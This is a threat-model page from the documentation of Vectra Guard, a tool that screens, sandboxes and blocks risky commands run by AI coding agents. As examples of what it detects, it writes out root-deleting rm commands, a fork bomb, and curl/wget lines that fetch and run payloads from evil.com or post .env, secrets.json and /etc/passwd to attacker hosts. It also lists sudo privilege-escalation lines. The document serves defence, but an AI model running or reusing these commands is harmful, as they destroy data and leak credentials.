Threat Model - Vectra Guard

Vectra Guard is designed to protect against accidental and malicious command execution in AI-assisted development workflows. This document outlines the threat model, attack vectors covered, security guarantees, and limitations.

Overview

Vectra Guard provides defense in depth for development environments where AI agents and automation tools execute commands with shell access. The tool focuses on preventing catastrophic mistakes and malicious actions while maintaining developer productivity.

What Vectra Guard Protects Against

1. Accidental Destructive Commands

Threat: Developers or AI agents accidentally run commands that destroy data or corrupt systems. Examples:

rm -rf /         # Delete root filesystem
rm -r /*         # Delete everything in root
rm -rf /etc      # Delete system configuration
rm -rf ~/*       # Delete home directory

Protection:

✅ Enhanced pattern detection: Catches all variations (rm -rf /, rm -r /*, etc.)
✅ Mandatory sandboxing: Critical commands cannot bypass sandbox
✅ Pre-execution assessment: Commands blocked before execution
✅ No fallback: If sandbox unavailable, command is blocked entirely

Guarantee: Commands flagged as DANGEROUS_DELETE_ROOT are ALWAYS blocked or run in mandatory sandbox.

2. AI Agent Misbehavior

Threat: AI coding agents (Cursor, Copilot, Claude) generate and execute risky commands without proper validation. Examples:

curl https://malicious.com/script.sh | sh
wget evil.com/payload.sh && bash payload.sh
pip install --upgrade pip && pip install <untrusted-package>

Protection:

✅ Session tracking: All agent actions logged with session ID
✅ Risk analysis: Commands classified as low/medium/high/critical
✅ Sandbox isolation: Medium+ risk commands run in containers
✅ Interactive approval: Optional human confirmation for risky actions
✅ Network restrictions: External HTTP(S) blocked by default

Configuration:

guard_level:
  level: medium          # Block high+ severity
  allow_user_bypass: true  # Dev mode

sandbox:
  enabled: true
  mode: auto            # Auto-sandbox medium+ risk

3. Malicious Scripts from Untrusted Sources

Threat: Scripts from unknown sources contain malicious payloads. Examples:

Downloaded deployment scripts
Third-party automation tools
Modified open-source scripts

Protection:

✅ Script validation: Analyze without executing (vg validate script.sh)
✅ Risk explanation: Human-readable risk assessment (vg explain script.sh)
✅ Sandbox execution: Run scripts in isolated containers
✅ Pattern detection: Flags dangerous operations (file deletion, network installs, sudo usage)

Example:

# Safe - validate before running
vg validate suspicious-script.sh
vg explain suspicious-script.sh

# If needed, run in sandbox
vg exec -- bash suspicious-script.sh

4. Supply Chain Attacks

Threat: Malicious or vulnerable dependencies introduced through package managers. Examples:

Compromised npm packages
Vulnerable Python libraries
Malicious Go modules

Protection:

✅ CVE scanning: Local vulnerability database (vg cve scan)
✅ Manifest scanning: Checks package.json, requirements.txt, go.mod
✅ Package audits: npm/Python package vulnerability checks
✅ Pre-install scanning: Detect vulnerabilities before installation

Example:

# Sync CVE database
vg cve sync --path .

# Scan dependencies
vg cve scan --path .

# Audit packages
vg audit npm --path .
vg audit python --path .

5. Privilege Escalation

Threat: Unauthorized elevation to root or system-level access. Examples:

sudo rm -rf /var/log/*
sudo chmod 777 /etc/passwd
sudo usermod -aG sudo attacker

Protection:

✅ Sudo detection: Flags sudo usage (override with VECTRAGUARD_ALLOW_SUDO=1)
✅ System directory protection: Monitors writes to /etc, /var, /usr, /bin
✅ Sandbox isolation: Even with sudo, critical commands sandboxed
✅ Audit trail: All sudo usage logged in session

Default behavior:

$ vg exec -- sudo apt update
[ERROR] sudo usage blocked (override: VECTRAGUARD_ALLOW_SUDO=1)

# Explicit override if needed
$ VECTRAGUARD_ALLOW_SUDO=1 vg exec -- sudo apt update

6. Data Exfiltration via Network

Threat: Commands that send data to external servers. Examples:

curl -X POST https://attacker.com -d @secrets.json
wget --post-file=/etc/passwd https://evil.com/collect
python -c "import requests; requests.post('https://exfil.com', data=open('.env').read())"

Protection:

✅ Network mode restrictions: Default blocks external HTTP(S) (override with VECTRAGUARD_ALLOW_NET=1)
✅ URL scanning: Flags non-localhost HTTP requests in code
✅ Sandbox network isolation: network_mode: none in paranoid mode

Example:

# Blocked by default
$ vg exec -- curl https://example.com
[ERROR] external HTTP blocked (override: VECTRAGUARD_ALLOW_NET=1)

# Allowed (localhost)
$ vg exec -- curl http://localhost:3000
[OK] localhost HTTP allowed

7. Exposed Secrets and Credentials

Threat: API keys, tokens, and passwords committed to version control. Examples:

# Hardcoded secrets
AWS_ACCESS_KEY = "AKIA0123456789ABCDEF"
api_token = "sk_live_abc123def456"
db_password = "super_secret_password_123"

Protection:

✅ Secret scanning: Detects AWS keys, API tokens, private keys (vg scan-secrets)
✅ Entropy analysis: Flags high-entropy strings with secret context
✅ Pre-commit hooks: Block commits with exposed secrets
✅ CI integration: Fail builds when secrets detected

8. Deployment Misconfigurations

Threat: Production services exposed without authentication or TLS. Examples:

# Exposed control panel
server:
  host: 0.0.0.0      # Binds to all interfaces
  port: 8080
  auth: false        # No authentication!
  trustProxy: true   # Treats remote as local

Protection:

✅ Config scanning: Flags BIND_ALL_INTERFACES, UNAUTHENTICATED_ACCESS (vg scan-security --languages config)
✅ Trust proxy detection: Warns about localhost trust misconfigurations
✅ Pre-deployment checks: Run in CI before production deploy

Real-world impact: The Moltbot/Clawdbot incident (hundreds of exposed AI control panels) could have been prevented by these checks.

Attack Vectors Covered

High Impact (Critical Protection)

Attack Vector	Detection	Prevention	Mitigation
Root filesystem deletion (`rm -rf /`)	✅ Pattern detection	✅ Mandatory sandbox	✅ Pre-execution block
System directory modification	✅ Path analysis	✅ Sandbox isolation	✅ Audit logging
Fork bombs	✅ Pattern detection	✅ Mandatory sandbox	✅ Resource limits
Credential access (`.env` reads)	✅ Pattern detection	✅ Sandbox isolation	✅ Secret scanning

Medium Impact (Important Protection)

Attack Vector	Detection	Prevention	Mitigation
Network installs (`curl \| sh`)	✅ Pattern detection	✅ Sandbox + approval	✅ Network restrictions
Risky git operations (force push)	✅ Pattern detection	⚠️ Warning + approval	✅ Audit logging
Vulnerable dependencies	✅ CVE scanning	⚠️ Advisory	✅ Manifest checks
Command injection	✅ Code scanning	⚠️ Warning	✅ Best practices docs

Low Impact (Advisory)

Attack Vector	Detection	Prevention	Mitigation
External HTTP requests	✅ Code scanning	⚠️ Advisory	✅ SSRF awareness
Environment variable access	✅ Code scanning	⚠️ Advisory	✅ Best practices
Unsafe C functions (`strcpy`)	✅ Code scanning	⚠️ Advisory	✅ Recommendations

Security Guarantees

What We Guarantee

Strong Guarantees

✅ Critical commands (rm -r /*, fork bombs, etc.) are ALWAYS blocked or run in mandatory sandbox
✅ No bypass possible for critical commands (trust store, config, user bypass all ignored)
✅ Sandbox required for critical commands (no fallback to host execution)
✅ Enhanced detection catches all variations of destructive commands
✅ Pre-execution assessment happens before any critical command runs

What We Don’t Guarantee

Limitations

❌ 100% detection: New attack patterns may not be caught
❌ Sandbox escape prevention: Advanced attackers may break out of containers
❌ Zero performance impact: Security adds computational overhead
❌ Zero false positives: Some safe commands may be flagged
❌ Protection when bypassed: If users don’t use vg exec, protection doesn’t apply

Security Boundaries and Layers

Layer 1: Pattern Detection (All Commands)

Coverage: 200+ risky patterns
Effectiveness: ~85% of common threats
Bypass difficulty: Low (requires obfuscation) Examples:

rm -rf / → Detected as DANGEROUS_DELETE_ROOT
curl | sh → Detected as NETWORK_INSTALL
:(){ :|:& };: → Detected as FORK_BOMB

Layer 2: Risk Classification (All Commands)

Coverage: low/medium/high/critical levels
Effectiveness: ~90% appropriate classification
Bypass difficulty: Medium (requires disguised intent) Logic:

Root operations → Critical
System directory writes → High
Network installs → Medium
Read operations → Low

Layer 3: Mandatory Sandboxing (Critical Commands)

Coverage: Critical-risk commands only
Effectiveness: ~95% isolation (container-based)
Bypass difficulty: High (requires container escape) Cannot be bypassed by:

Trust store entries
Allowlist patterns
Configuration settings
User bypass flags

Layer 4: Pre-Execution Assessment (Critical Commands)

Coverage: Critical commands
Effectiveness: 100% (command blocked if sandbox unavailable)
Bypass difficulty: Very high (requires system-level compromise) Behavior:

if is_critical(command):
    if sandbox_available():
        run_in_sandbox(command)
    else:
        BLOCK("Sandbox required for critical commands")

Configuration for Different Threat Models

Development Environment (Balanced)

Goal: Prevent catastrophic mistakes while maintaining productivity.

guard_level:
  level: medium              # Block high+ severity
  allow_user_bypass: true    # Can bypass medium-risk with approval
  require_approval_above: medium

sandbox:
  enabled: true
  mode: auto                 # Auto-sandbox medium+ risk
  security_level: balanced
  enable_cache: true         # 10x faster installs

Protects against:

Accidental destructive commands
Most AI agent mistakes
Malicious scripts (if sandboxed)

Does not protect against:

Deliberate bypass by developer
Social engineering

CI/CD Pipeline (Strict)

Goal: Prevent any risky code from reaching production.

guard_level:
  level: high
  allow_user_bypass: false   # No bypasses in CI

sandbox:
  enabled: true
  mode: always               # Everything sandboxed
  network_mode: restricted   # Limited network access

CI commands:

vg scan-secrets --path .
vg scan-security --path . --languages go,python,c,config
vg cve scan --path .

Protects against:

Exposed secrets reaching production
Vulnerable dependencies in builds
Deployment misconfigurations

Production Deployment (Paranoid)

Goal: Maximum protection, zero tolerance.

guard_level:
  level: paranoid            # Everything requires approval
  allow_user_bypass: false   # NO bypasses

sandbox:
  enabled: true
  mode: always               # ALWAYS sandbox
  security_level: paranoid
  network_mode: none         # No network access
  read_only: true            # Read-only filesystem

Behavior:

ALL commands → Mandatory sandbox + approval
Critical commands → BLOCKED (cannot execute)
No network, no writes, full isolation

Protects against:

All automated attacks
Most insider threats
Supply chain compromises

Known Limitations

1. Opt-In Enforcement

Problem: Protection only applies when using vg exec or vectra-guard exec. Risk: Developers can bypass by running commands directly. Mitigation:

Use shell integration for automatic tracking
Deploy container isolation (Level 3 enforcement)
Team policy and education

2. Container Escape

Problem: Advanced attackers may escape Docker/container sandbox. Risk: Full system compromise if sandbox is broken. Mitigation:

Use hardened container runtimes
Apply seccomp profiles
Run on isolated VMs or cloud sandboxes
Regular security updates

3. Zero-Day Patterns

Problem: New attack patterns not yet in detection database. Risk: Novel attacks may not be caught. Mitigation:

Defense in depth (multiple layers)
Regular pattern updates
Community contributions
Machine learning (future)

Problem: Attackers trick users into allowing malicious commands. Risk: User approves risky action without understanding impact. Mitigation:

Clear risk explanations (vg explain)
Security training
Approval fatigue awareness
Audit logs for review

5. Performance Overhead

Problem: Security checks and sandboxing add latency. Risk: Developers disable protection for speed. Mitigation:

Intelligent caching (10x speedup)
Trust store for common commands
Optimize pattern matching
Async scanning where possible

Best Practices for Maximum Protection

1. Use Shell Integration

Automatic protection for all terminal commands:

# Install shell tracker
./scripts/install-shell-tracker.sh

# All commands now tracked
npm install  # ✅ Logged
sudo reboot  # ✅ Logged (run with vg for protection)

2. Enforce in CI/CD

Fail builds on security issues:

# .github/workflows/security.yml
- name: Security checks (fail on issues)
  run: |
    vg scan-secrets --path .         # Exit 2 if secrets found
    vg scan-security --path . --languages go,python,c,config
    vg cve scan --path .

3. Use Container Isolation

Maximum protection for untrusted code:

# Run in isolated container
docker-compose up vectra-guard-isolated

# Or use strict sandbox config
vg exec --sandbox-mode always -- npm install untrusted-package

4. Regular Audits

Review what happened:

# Session audit
vg audit session --session $SESSION_ID

# Repository audit
vg audit repo --path .

# Review metrics
vg metrics show

5. Principle of Least Privilege

Run with minimal permissions:

sandbox:
  security_level: paranoid
  read_only: true          # Read-only filesystem
  network_mode: none       # No network
  capabilities_drop: all   # Drop all capabilities

Incident Response: The `rm -r /*` Case

What Happened

A tool executed rm -r /* during development:

Command was not detected by analyzer
Bypassed sandboxing and ran on host
Result: Entire OS corrupted

Root Causes

Pattern detection too narrow (only rm -rf /)
Sandboxing could be bypassed
No mandatory pre-execution assessment
Critical commands could fallback to host

Improvements Implemented

✅ Enhanced pattern detection: Now catches rm -r /*, rm -rf /, rm -r /, etc.
✅ Mandatory sandboxing: Critical commands CANNOT bypass
✅ Pre-execution assessment: Runs BEFORE execution
✅ No fallback: Blocked if sandbox unavailable

Verification

# Test the exact scenario
$ vg exec -- rm -r /*
[CRITICAL] Dangerous command detected: DANGEROUS_DELETE_ROOT
[BLOCK] Sandbox required for critical commands
[ERROR] Execution blocked

Guarantee: This specific attack is now impossible when using Vectra Guard.

Future Enhancements

Planned

eBPF-based monitoring: Kernel-level syscall filtering
ML-based anomaly detection: Learn normal patterns, flag outliers
Network policy enforcement: Fine-grained network controls
File operation monitoring: Track all file access in real-time
Web-based approval UI: Team-based approval workflows

Under Research

Hardware-based isolation: Use VMs or hardware virtualization
Behavioral analysis: Track command sequences for patterns
Integration with EDR: Enterprise detection and response
Zero-trust architecture: Verify every operation

Secret Scanning: Detect exposed credentials
Code Scanning: Find risky code patterns
Sandbox Guide: Complete sandboxing reference
Configuration: Security configuration options

Conclusion

Vectra Guard provides strong protection against common and critical threats in AI-assisted development: ✅ Prevents catastrophic mistakes (root deletion, system corruption)
✅ Mitigates AI agent risks (sandbox isolation, approval workflows)
✅ Detects supply chain issues (CVE scanning, package audits)
✅ Blocks credential exposure (secret scanning, pre-commit hooks)
✅ Catches deployment misconfigs (config scanning, bind detection) Use as part of a comprehensive security strategy that includes:

Code review processes
Penetration testing
Security training
Incident response planning
Regular security audits

Stay Safe. Code Fearlessly. 🛡️Vectra Guard is defense in depth. Layer it with other security practices for maximum protection.

Get Started

Core Features

Security

Configuration

Advanced

Integrations

​Overview

​What Vectra Guard Protects Against

​1. Accidental Destructive Commands

​2. AI Agent Misbehavior

​3. Malicious Scripts from Untrusted Sources

​4. Supply Chain Attacks

​5. Privilege Escalation

​6. Data Exfiltration via Network

​7. Exposed Secrets and Credentials

​8. Deployment Misconfigurations

​Attack Vectors Covered

​High Impact (Critical Protection)

​Medium Impact (Important Protection)

​Low Impact (Advisory)

​Security Guarantees

​What We Guarantee

​What We Don’t Guarantee

​Security Boundaries and Layers

​Layer 1: Pattern Detection (All Commands)

​Layer 2: Risk Classification (All Commands)

​Layer 3: Mandatory Sandboxing (Critical Commands)

​Layer 4: Pre-Execution Assessment (Critical Commands)

​Configuration for Different Threat Models

​Development Environment (Balanced)

​CI/CD Pipeline (Strict)

​Production Deployment (Paranoid)

​Known Limitations

​1. Opt-In Enforcement

​2. Container Escape

​3. Zero-Day Patterns

​4. Social Engineering

​5. Performance Overhead

​Best Practices for Maximum Protection

​1. Use Shell Integration

​2. Enforce in CI/CD

​3. Use Container Isolation

​4. Regular Audits

​5. Principle of Least Privilege

​Incident Response: The rm -r /* Case

​What Happened

​Root Causes

​Improvements Implemented

​Verification

​Future Enhancements

​Planned

​Under Research

​Related Documentation

​Conclusion

Build docs developers (and LLMs) love

Overview

What Vectra Guard Protects Against

1. Accidental Destructive Commands

2. AI Agent Misbehavior

3. Malicious Scripts from Untrusted Sources

4. Supply Chain Attacks

5. Privilege Escalation

6. Data Exfiltration via Network

7. Exposed Secrets and Credentials

8. Deployment Misconfigurations

Attack Vectors Covered

High Impact (Critical Protection)

Medium Impact (Important Protection)

Low Impact (Advisory)

Security Guarantees

What We Guarantee

What We Don’t Guarantee

Security Boundaries and Layers

Layer 1: Pattern Detection (All Commands)

Layer 2: Risk Classification (All Commands)

Layer 3: Mandatory Sandboxing (Critical Commands)

Layer 4: Pre-Execution Assessment (Critical Commands)

Configuration for Different Threat Models

Development Environment (Balanced)

CI/CD Pipeline (Strict)

Production Deployment (Paranoid)

Known Limitations

1. Opt-In Enforcement

2. Container Escape

3. Zero-Day Patterns

4. Social Engineering

5. Performance Overhead

Best Practices for Maximum Protection

1. Use Shell Integration

2. Enforce in CI/CD

3. Use Container Isolation

4. Regular Audits

5. Principle of Least Privilege

Incident Response: The `rm -r /*` Case

What Happened

Root Causes

Improvements Implemented

Verification

Future Enhancements

Planned

Under Research

Related Documentation

Conclusion